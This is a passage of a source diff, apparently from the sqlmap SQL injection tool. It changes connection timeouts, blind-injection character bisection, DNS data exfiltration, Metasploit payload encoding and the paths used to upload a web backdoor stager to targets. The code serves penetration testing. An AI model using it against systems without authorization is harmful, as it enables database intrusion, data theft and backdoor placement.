return getUnicode(randomStr(int(randomInt()), alphabet=[chr(_) for _ in xrange(256)]), {}, int(randomInt())), None, None if not conf.murphyRate else randomInt(3)
|
||||
|
||||
threadData = getCurrentThreadData()
|
||||
with kb.locks.request:
|
||||
@@ -247,7 +251,7 @@ class Connect(object):
|
||||
timeout = kwargs.get("timeout", None) or conf.timeout
|
||||
auxHeaders = kwargs.get("auxHeaders", None)
|
||||
response = kwargs.get("response", False)
|
||||
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout
|
||||
ignoreTimeout = kwargs.get("ignoreTimeout", False) or kb.ignoreTimeout or conf.ignoreTimeouts
|
||||
refreshing = kwargs.get("refreshing", False)
|
||||
retrying = kwargs.get("retrying", False)
|
||||
crawling = kwargs.get("crawling", False)
|
||||
@@ -392,6 +396,7 @@ class Connect(object):
|
||||
|
||||
if websocket_:
|
||||
ws = websocket.WebSocket()
|
||||
ws.settimeout(timeout)
|
||||
ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically
|
||||
ws.send(urldecode(post or ""))
|
||||
page = ws.recv()
|
||||
@@ -403,7 +408,7 @@ class Connect(object):
|
||||
responseHeaders = _(ws.getheaders())
|
||||
responseHeaders.headers = ["%s: %s\r\n" % (_[0].capitalize(), _[1]) for _ in responseHeaders.items()]
|
||||
|
||||
requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
|
||||
requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
||||
requestMsg += "\n%s" % requestHeaders
|
||||
|
||||
if post is not None:
|
||||
@@ -422,7 +427,7 @@ class Connect(object):
|
||||
else:
|
||||
req = urllib2.Request(url, post, headers)
|
||||
|
||||
requestHeaders += "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items())
|
||||
requestHeaders += "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in req.header_items()])
|
||||
|
||||
if not getRequestHeader(req, HTTP_HEADER.COOKIE) and conf.cj:
|
||||
conf.cj._policy._now = conf.cj._now = int(time.time())
|
||||
@@ -483,6 +488,8 @@ class Connect(object):
|
||||
page = decodePage(page, responseHeaders.get(HTTP_HEADER.CONTENT_ENCODING), responseHeaders.get(HTTP_HEADER.CONTENT_TYPE))
|
||||
status = getUnicode(conn.msg)
|
||||
|
||||
kb.connErrorCounter = 0
|
||||
|
||||
if extractRegexResult(META_REFRESH_REGEX, page) and not refreshing:
|
||||
refresh = extractRegexResult(META_REFRESH_REGEX, page)
|
||||
|
||||
@@ -556,7 +563,7 @@ class Connect(object):
|
||||
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
|
||||
|
||||
if responseHeaders:
|
||||
logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
|
||||
logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
||||
|
||||
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
|
||||
|
||||
@@ -584,7 +591,7 @@ class Connect(object):
|
||||
processResponse(page, responseHeaders)
|
||||
elif ex.code == httplib.GATEWAY_TIMEOUT:
|
||||
if ignoreTimeout:
|
||||
return None, None, None
|
||||
return None if not conf.ignoreTimeouts else "", None, None
|
||||
else:
|
||||
warnMsg = "unable to connect to the target URL (%d - %s)" % (ex.code, httplib.responses[ex.code])
|
||||
if threadData.retriesCount < conf.retries and not kb.threadException:
|
||||
@@ -617,7 +624,7 @@ class Connect(object):
|
||||
kb.responseTimes.clear()
|
||||
|
||||
if kb.testMode and kb.testType not in (None, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED):
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF) is dropping 'suspicious' requests")
|
||||
singleTimeWarnMessage("there is a possibility that the target (or WAF/IPS/IDS) is dropping 'suspicious' requests")
|
||||
warnMsg = "connection timed out to the target URL"
|
||||
elif "URLError" in tbMsg or "error" in tbMsg:
|
||||
warnMsg = "unable to connect to the target URL"
|
||||
@@ -645,13 +652,25 @@ class Connect(object):
|
||||
if "BadStatusLine" not in tbMsg and any((conf.proxy, conf.tor)):
|
||||
warnMsg += " or proxy"
|
||||
|
||||
with kb.locks.connError:
|
||||
kb.connErrorCounter += 1
|
||||
|
||||
if kb.connErrorCounter >= MAX_CONSECUTIVE_CONNECTION_ERRORS and kb.connErrorChoice is None:
|
||||
message = "there seems to be a continuous problem with connection to the target. "
|
||||
message += "Are you sure that you want to continue "
|
||||
message += "with further target testing? [y/N] "
|
||||
kb.connErrorChoice = readInput(message, default="N") in ("Y", "y")
|
||||
|
||||
if kb.connErrorChoice is False:
|
||||
raise SqlmapConnectionException(warnMsg)
|
||||
|
||||
if silent:
|
||||
return None, None, None
|
||||
elif "forcibly closed" in tbMsg:
|
||||
logger.critical(warnMsg)
|
||||
return None, None, None
|
||||
elif ignoreTimeout and any(_ in tbMsg for _ in ("timed out", "IncompleteRead")):
|
||||
return None, None, None
|
||||
return None if not conf.ignoreTimeouts else "", None, None
|
||||
elif threadData.retriesCount < conf.retries and not kb.threadException:
|
||||
warnMsg += ". sqlmap is going to retry the request"
|
||||
if not retrying:
|
||||
@@ -691,7 +710,7 @@ class Connect(object):
|
||||
responseMsg += "[#%d] (%d %s):\n" % (threadData.lastRequestUID, code, status)
|
||||
|
||||
if responseHeaders:
|
||||
logHeaders = "\n".join("%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items())
|
||||
logHeaders = "\n".join(["%s: %s" % (getUnicode(key.capitalize() if isinstance(key, basestring) else key), getUnicode(value)) for (key, value) in responseHeaders.items()])
|
||||
|
||||
if not skipLogTraffic:
|
||||
logHTTPTraffic(requestMsg, "%s%s\n\n%s" % (responseMsg, logHeaders, (page or "")[:MAX_CONNECTION_CHUNK_SIZE]))
|
||||
@@ -870,18 +889,21 @@ class Connect(object):
|
||||
uri = conf.url
|
||||
|
||||
if value and place == PLACE.CUSTOM_HEADER:
|
||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
|
||||
if value.split(',')[0].capitalize() == PLACE.COOKIE:
|
||||
cookie = value.split(',', 1)[1]
|
||||
else:
|
||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[1]
|
||||
|
||||
if conf.csrfToken:
|
||||
def _adjustParameter(paramString, parameter, newValue):
|
||||
retVal = paramString
|
||||
match = re.search("%s=[^&]*" % re.escape(parameter), paramString)
|
||||
if match:
|
||||
retVal = re.sub(match.group(0), "%s=%s" % (parameter, newValue), paramString)
|
||||
retVal = re.sub(re.escape(match.group(0)), "%s=%s" % (parameter, newValue), paramString)
|
||||
else:
|
||||
match = re.search("(%s[\"']:[\"'])([^\"']+)" % re.escape(parameter), paramString)
|
||||
if match:
|
||||
retVal = re.sub(match.group(0), "%s%s" % (match.group(1), newValue), paramString)
|
||||
retVal = re.sub(re.escape(match.group(0)), "%s%s" % (match.group(1), newValue), paramString)
|
||||
return retVal
|
||||
|
||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.method if conf.csrfUrl == conf.url else None, cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||
@@ -901,7 +923,7 @@ class Connect(object):
|
||||
for _ in conf.cj:
|
||||
if _.name == conf.csrfToken:
|
||||
token = _.value
|
||||
if not any (conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||
if post:
|
||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token)
|
||||
elif get:
|
||||
@@ -1073,7 +1095,7 @@ class Connect(object):
|
||||
dataToStdout(" (done)\n")
|
||||
|
||||
elif not kb.testMode:
|
||||
warnMsg = "it is very important to not stress the network adapter "
|
||||
warnMsg = "it is very important to not stress the network connection "
|
||||
warnMsg += "during usage of time-based payloads to prevent potential "
|
||||
warnMsg += "disruptions "
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
@@ -1132,7 +1154,7 @@ class Connect(object):
|
||||
warnMsg = "site returned insanely large response"
|
||||
if kb.testMode:
|
||||
warnMsg += " in testing phase. This is a common "
|
||||
warnMsg += "behavior in custom WAF/IDS/IPS solutions"
|
||||
warnMsg += "behavior in custom WAF/IPS/IDS solutions"
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if conf.secondOrder:
|
||||
@@ -1140,6 +1162,7 @@ class Connect(object):
|
||||
|
||||
threadData.lastQueryDuration = calculateDeltaSeconds(start)
|
||||
threadData.lastPage = page
|
||||
threadData.lastCode = code
|
||||
|
||||
kb.originalCode = kb.originalCode or code
|
||||
|
||||
|
||||
@@ -24,6 +24,7 @@ from lib.core.dicts import SQL_STATEMENTS
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import EXPECTED
|
||||
from lib.core.enums import TIMEOUT_STATE
|
||||
from lib.core.settings import UNICODE_ENCODING
|
||||
from lib.utils.timeout import timeout
|
||||
|
||||
@@ -51,10 +52,14 @@ def direct(query, content=True):
|
||||
start = time.time()
|
||||
|
||||
if not select and "EXEC " not in query.upper():
|
||||
_ = timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
|
||||
timeout(func=conf.dbmsConnector.execute, args=(query,), duration=conf.timeout, default=None)
|
||||
elif not (output and "sqlmapoutput" not in query and "sqlmapfile" not in query):
|
||||
output = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
|
||||
hashDBWrite(query, output, True)
|
||||
output, state = timeout(func=conf.dbmsConnector.select, args=(query,), duration=conf.timeout, default=None)
|
||||
if state == TIMEOUT_STATE.NORMAL:
|
||||
hashDBWrite(query, output, True)
|
||||
elif state == TIMEOUT_STATE.TIMEOUT:
|
||||
conf.dbmsConnector.close()
|
||||
conf.dbmsConnector.connect()
|
||||
elif output:
|
||||
infoMsg = "resumed: %s..." % getUnicode(output, UNICODE_ENCODING)[:20]
|
||||
logger.info(infoMsg)
|
||||
|
||||
+4
-1
@@ -62,7 +62,10 @@ class DNSServer(object):
|
||||
self._check_localhost()
|
||||
self._requests = []
|
||||
self._lock = threading.Lock()
|
||||
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
try:
|
||||
self._socket = socket._orig_socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
except AttributeError:
|
||||
self._socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||
self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
|
||||
self._socket.bind(("", 53))
|
||||
self._running = False
|
||||
|
||||
@@ -7,6 +7,7 @@ See the file 'doc/COPYING' for copying permission
|
||||
|
||||
import distutils.version
|
||||
import httplib
|
||||
import re
|
||||
import socket
|
||||
import urllib2
|
||||
|
||||
@@ -47,7 +48,7 @@ class HTTPSConnection(httplib.HTTPSConnection):
|
||||
|
||||
# Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext
|
||||
# https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni
|
||||
if kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
|
||||
if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"):
|
||||
for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols):
|
||||
try:
|
||||
sock = create_sock()
|
||||
|
||||
@@ -57,7 +57,7 @@ from lib.techniques.union.use import unionUse
|
||||
def _goDns(payload, expression):
|
||||
value = None
|
||||
|
||||
if conf.dnsName and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
|
||||
if conf.dnsDomain and kb.dnsTest is not False and not kb.testMode and Backend.getDbms() is not None:
|
||||
if kb.dnsTest is None:
|
||||
dnsTest(payload)
|
||||
|
||||
@@ -293,7 +293,7 @@ def _goBooleanProxy(expression):
|
||||
|
||||
initTechnique(kb.technique)
|
||||
|
||||
if conf.dnsName:
|
||||
if conf.dnsDomain:
|
||||
query = agent.prefixQuery(kb.injection.data[kb.technique].vector)
|
||||
query = agent.suffixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
@@ -413,7 +413,7 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
|
||||
count += 1
|
||||
found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE
|
||||
|
||||
if found and conf.dnsName:
|
||||
if found and conf.dnsDomain:
|
||||
_ = "".join(filter(None, (key if isTechniqueAvailable(value) else None for key, value in {"E": PAYLOAD.TECHNIQUE.ERROR, "Q": PAYLOAD.TECHNIQUE.QUERY, "U": PAYLOAD.TECHNIQUE.UNION}.items())))
|
||||
warnMsg = "option '--dns-domain' will be ignored "
|
||||
warnMsg += "as faster techniques are usable "
|
||||
|
||||
@@ -71,7 +71,7 @@ class SmartRedirectHandler(urllib2.HTTPRedirectHandler):
|
||||
|
||||
def http_error_302(self, req, fp, code, msg, headers):
|
||||
content = None
|
||||
redurl = self._get_header_redirect(headers)
|
||||
redurl = self._get_header_redirect(headers) if not conf.ignoreRedirects else None
|
||||
|
||||
try:
|
||||
content = fp.read(MAX_CONNECTION_TOTAL_SIZE)
|
||||
|
||||
@@ -429,10 +429,12 @@ class Metasploit:
|
||||
self._payloadCmd += " X > \"%s\"" % outFile
|
||||
else:
|
||||
if extra == "BufferRegister=EAX":
|
||||
self._payloadCmd += " -a x86 -e %s -f %s > \"%s\"" % (self.encoderStr, format, outFile)
|
||||
self._payloadCmd += " -a x86 -e %s -f %s" % (self.encoderStr, format)
|
||||
|
||||
if extra is not None:
|
||||
self._payloadCmd += " %s" % extra
|
||||
|
||||
self._payloadCmd += " > \"%s\"" % outFile
|
||||
else:
|
||||
self._payloadCmd += " -f exe > \"%s\"" % outFile
|
||||
|
||||
|
||||
+10
-1
@@ -116,7 +116,7 @@ class Web:
|
||||
multipartParams['__EVENTVALIDATION'] = kb.data.__EVENTVALIDATION
|
||||
multipartParams['__VIEWSTATE'] = kb.data.__VIEWSTATE
|
||||
|
||||
page = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
|
||||
page, _, _ = Request.getPage(url=self.webStagerUrl, multipart=multipartParams, raise404=False)
|
||||
|
||||
if "File uploaded" not in page:
|
||||
warnMsg = "unable to upload the file through the web file "
|
||||
@@ -200,6 +200,15 @@ class Web:
|
||||
directories.extend(getAutoDirectories())
|
||||
directories = list(oset(directories))
|
||||
|
||||
path = urlparse.urlparse(conf.url).path or '/'
|
||||
if path != '/':
|
||||
_ = []
|
||||
for directory in directories:
|
||||
_.append(directory)
|
||||
if not directory.endswith(path):
|
||||
_.append("%s/%s" % (directory.rstrip('/'), path.strip('/')))
|
||||
directories = _
|
||||
|
||||
backdoorName = "tmpb%s.%s" % (randomStr(lowercase=True), self.webApi)
|
||||
backdoorContent = decloak(os.path.join(paths.SQLMAP_SHELL_PATH, "backdoor.%s_" % self.webApi))
|
||||
|
||||
|
||||
@@ -5,6 +5,7 @@ Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
|
||||
See the file 'doc/COPYING' for copying permission
|
||||
"""
|
||||
|
||||
import re
|
||||
import threading
|
||||
import time
|
||||
|
||||
@@ -41,10 +42,11 @@ from lib.core.settings import INFERENCE_GREATER_CHAR
|
||||
from lib.core.settings import INFERENCE_EQUALS_CHAR
|
||||
from lib.core.settings import INFERENCE_NOT_EQUALS_CHAR
|
||||
from lib.core.settings import MAX_BISECTION_LENGTH
|
||||
from lib.core.settings import MAX_TIME_REVALIDATION_STEPS
|
||||
from lib.core.settings import MAX_REVALIDATION_STEPS
|
||||
from lib.core.settings import NULL
|
||||
from lib.core.settings import PARTIAL_HEX_VALUE_MARKER
|
||||
from lib.core.settings import PARTIAL_VALUE_MARKER
|
||||
from lib.core.settings import PAYLOAD_DELIMITER
|
||||
from lib.core.settings import RANDOM_INTEGER_MARKER
|
||||
from lib.core.settings import VALID_TIME_CHARS_RUN_THRESHOLD
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
@@ -66,6 +68,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
finalValue = None
|
||||
retrievedLength = 0
|
||||
asciiTbl = getCharset(charsetType)
|
||||
threadData = getCurrentThreadData()
|
||||
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
|
||||
retVal = hashDBRetrieve(expression, checkConf=True)
|
||||
|
||||
@@ -91,8 +94,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
return 0, retVal
|
||||
|
||||
try:
|
||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good
|
||||
# samaritan") is used or the engine is called from the API
|
||||
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
|
||||
if conf.predictOutput:
|
||||
kb.partRun = getPartRun()
|
||||
elif hasattr(conf, "api"):
|
||||
@@ -104,8 +106,10 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
firstChar = len(partialValue)
|
||||
elif "LENGTH(" in expression.upper() or "LEN(" in expression.upper():
|
||||
firstChar = 0
|
||||
elif dump and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
|
||||
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (isinstance(conf.firstChar, basestring) and conf.firstChar.isdigit())):
|
||||
firstChar = int(conf.firstChar) - 1
|
||||
if kb.fileReadMode:
|
||||
firstChar *= 2
|
||||
elif isinstance(firstChar, basestring) and firstChar.isdigit() or isinstance(firstChar, int):
|
||||
firstChar = int(firstChar) - 1
|
||||
else:
|
||||
@@ -143,7 +147,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
length = None
|
||||
|
||||
showEta = conf.eta and isinstance(length, int)
|
||||
numThreads = min(conf.threads, length)
|
||||
numThreads = min(conf.threads, length) or 1
|
||||
|
||||
if showEta:
|
||||
progress = ProgressBar(maxValue=length)
|
||||
@@ -197,22 +201,30 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
def validateChar(idx, value):
|
||||
"""
|
||||
Used in time-based inference (in case that original and retrieved
|
||||
value are not equal there will be a deliberate delay).
|
||||
Used in inference - in time-based SQLi if original and retrieved value are not equal there will be a deliberate delay
|
||||
"""
|
||||
|
||||
validationPayload = re.sub(r"(%s.*?)%s(.*?%s)" % (PAYLOAD_DELIMITER, INFERENCE_GREATER_CHAR, PAYLOAD_DELIMITER), r"\g<1>%s\g<2>" % INFERENCE_NOT_EQUALS_CHAR, payload)
|
||||
|
||||
if "'%s'" % CHAR_INFERENCE_MARK not in payload:
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx, value))
|
||||
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx, value))
|
||||
else:
|
||||
# e.g.: ... > '%c' -> ... > ORD(..)
|
||||
markingValue = "'%s'" % CHAR_INFERENCE_MARK
|
||||
unescapedCharValue = unescaper.escape("'%s'" % decodeIntToUnicode(value))
|
||||
forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_NOT_EQUALS_CHAR), (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
||||
forgedPayload = safeStringFormat(validationPayload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
|
||||
|
||||
result = not Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
|
||||
if result and timeBasedCompare:
|
||||
result = threadData.lastCode == kb.injection.data[kb.technique].trueCode
|
||||
if not result:
|
||||
warnMsg = "detected HTTP code '%s' in validation phase is differing from expected '%s'" % (threadData.lastCode, kb.injection.data[kb.technique].trueCode)
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(kb.technique)
|
||||
|
||||
return not result
|
||||
return result
|
||||
|
||||
def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
|
||||
"""
|
||||
@@ -254,9 +266,44 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
maxChar = maxValue = charTbl[-1]
|
||||
minChar = minValue = charTbl[0]
|
||||
firstCheck = False
|
||||
lastCheck = False
|
||||
unexpectedCode = False
|
||||
|
||||
while len(charTbl) != 1:
|
||||
position = (len(charTbl) >> 1)
|
||||
position = None
|
||||
|
||||
if charsetType is None:
|
||||
if not firstCheck:
|
||||
try:
|
||||
try:
|
||||
lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
|
||||
except IndexError:
|
||||
lastChar = None
|
||||
if 'a' <= lastChar <= 'z':
|
||||
position = charTbl.index(ord('a') - 1) # 96
|
||||
elif 'A' <= lastChar <= 'Z':
|
||||
position = charTbl.index(ord('A') - 1) # 64
|
||||
elif '0' <= lastChar <= '9':
|
||||
position = charTbl.index(ord('0') - 1) # 47
|
||||
except ValueError:
|
||||
pass
|
||||
finally:
|
||||
firstCheck = True
|
||||
|
||||
elif not lastCheck and numThreads == 1: # not usable in multi-threading environment
|
||||
if charTbl[(len(charTbl) >> 1)] < ord(' '):
|
||||
try:
|
||||
# favorize last char check if current value inclines toward 0
|
||||
position = charTbl.index(1)
|
||||
except ValueError:
|
||||
pass
|
||||
finally:
|
||||
lastCheck = True
|
||||
|
||||
if position is None:
|
||||
position = (len(charTbl) >> 1)
|
||||
|
||||
posValue = charTbl[position]
|
||||
falsePayload = None
|
||||
|
||||
@@ -279,6 +326,12 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
|
||||
incrementCounter(kb.technique)
|
||||
|
||||
if not timeBasedCompare:
|
||||
unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
|
||||
if unexpectedCode:
|
||||
warnMsg = "unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases" % threadData.lastCode
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
if result:
|
||||
minValue = posValue
|
||||
|
||||
@@ -318,24 +371,25 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
retVal = minValue + 1
|
||||
|
||||
if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
|
||||
if timeBasedCompare and not validateChar(idx, retVal):
|
||||
if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
|
||||
if not kb.originalTimeDelay:
|
||||
kb.originalTimeDelay = conf.timeSec
|
||||
|
||||
kb.timeValidCharsRun = 0
|
||||
if retried < MAX_TIME_REVALIDATION_STEPS:
|
||||
threadData.validationRun = 0
|
||||
if retried < MAX_REVALIDATION_STEPS:
|
||||
errMsg = "invalid character detected. retrying.."
|
||||
logger.error(errMsg)
|
||||
|
||||
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
|
||||
conf.timeSec += 1
|
||||
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
|
||||
logger.warn(warnMsg)
|
||||
if timeBasedCompare:
|
||||
if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
|
||||
conf.timeSec += 1
|
||||
warnMsg = "increasing time delay to %d second%s " % (conf.timeSec, 's' if conf.timeSec > 1 else '')
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
|
||||
dbgMsg = "turning off time auto-adjustment mechanism"
|
||||
logger.debug(dbgMsg)
|
||||
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
|
||||
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
|
||||
dbgMsg = "turning off time auto-adjustment mechanism"
|
||||
logger.debug(dbgMsg)
|
||||
kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO
|
||||
|
||||
return getChar(idx, originalTbl, continuousOrder, expand, shiftTable, (retried or 0) + 1)
|
||||
else:
|
||||
@@ -345,8 +399,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
return decodeIntToUnicode(retVal)
|
||||
else:
|
||||
if timeBasedCompare:
|
||||
kb.timeValidCharsRun += 1
|
||||
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and kb.timeValidCharsRun > VALID_TIME_CHARS_RUN_THRESHOLD:
|
||||
threadData.validationRun += 1
|
||||
if kb.adjustTimeDelay is ADJUST_TIME_DELAY.NO and threadData.validationRun > VALID_TIME_CHARS_RUN_THRESHOLD:
|
||||
dbgMsg = "turning back on time auto-adjustment mechanism"
|
||||
logger.debug(dbgMsg)
|
||||
kb.adjustTimeDelay = ADJUST_TIME_DELAY.YES
|
||||
@@ -376,8 +430,6 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
|
||||
# Go multi-threading (--threads > 1)
|
||||
if conf.threads > 1 and isinstance(length, int) and length > 1:
|
||||
threadData = getCurrentThreadData()
|
||||
|
||||
threadData.shared.value = [None] * length
|
||||
threadData.shared.index = [firstChar] # As list for python nested function scoping
|
||||
threadData.shared.start = firstChar
|
||||
@@ -476,6 +528,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
# No multi-threading (--threads = 1)
|
||||
else:
|
||||
index = firstChar
|
||||
threadData.shared.value = ""
|
||||
|
||||
while True:
|
||||
index += 1
|
||||
@@ -551,7 +604,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
|
||||
if kb.data.processChar:
|
||||
val = kb.data.processChar(val)
|
||||
|
||||
partialValue += val
|
||||
threadData.shared.value = partialValue = partialValue + val
|
||||
|
||||
if showEta:
|
||||
progress.progress(time.time() - charStart, index)
|
||||
|
||||
@@ -24,7 +24,7 @@ def dnsTest(payload):
|
||||
if not kb.dnsTest:
|
||||
errMsg = "data retrieval through DNS channel failed"
|
||||
if not conf.forceDns:
|
||||
conf.dnsName = None
|
||||
conf.dnsDomain = None
|
||||
errMsg += ". Turning off DNS exfiltration support"
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
|
||||
@@ -46,7 +46,7 @@ def dnsUse(payload, expression):
|
||||
count = 0
|
||||
offset = 1
|
||||
|
||||
if conf.dnsName and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
|
||||
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL, DBMS.PGSQL):
|
||||
output = hashDBRetrieve(expression, checkConf=True)
|
||||
|
||||
if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
|
||||
@@ -69,7 +69,7 @@ def dnsUse(payload, expression):
|
||||
nulledCastedField = agent.hexConvertField(nulledCastedField)
|
||||
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
|
||||
|
||||
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsName)
|
||||
expressionRequest = getSQLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
|
||||
expressionUnescaped = unescaper.escape(expressionRequest)
|
||||
|
||||
if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.PGSQL):
|
||||
@@ -111,7 +111,7 @@ def dnsUse(payload, expression):
|
||||
debugMsg = "performed %d queries in %.2f seconds" % (count, calculateDeltaSeconds(start))
|
||||
logger.debug(debugMsg)
|
||||
|
||||
elif conf.dnsName:
|
||||
elif conf.dnsDomain:
|
||||
warnMsg = "DNS data exfiltration method through SQL injection "
|
||||
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
|
||||
singleTimeWarnMessage(warnMsg)
|
||||
|
||||
+3
-1
@@ -44,10 +44,12 @@ def checkDependencies():
|
||||
elif dbmsName == DBMS.HSQLDB:
|
||||
import jaydebeapi
|
||||
import jpype
|
||||
elif dbmsName == DBMS.INFORMIX:
|
||||
import ibm_db_dbi
|
||||
except ImportError:
|
||||
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||
warnMsg += "in order to directly connect to the DBMS "
|
||||
warnMsg += "%s. Download from %s" % (dbmsName, data[2])
|
||||
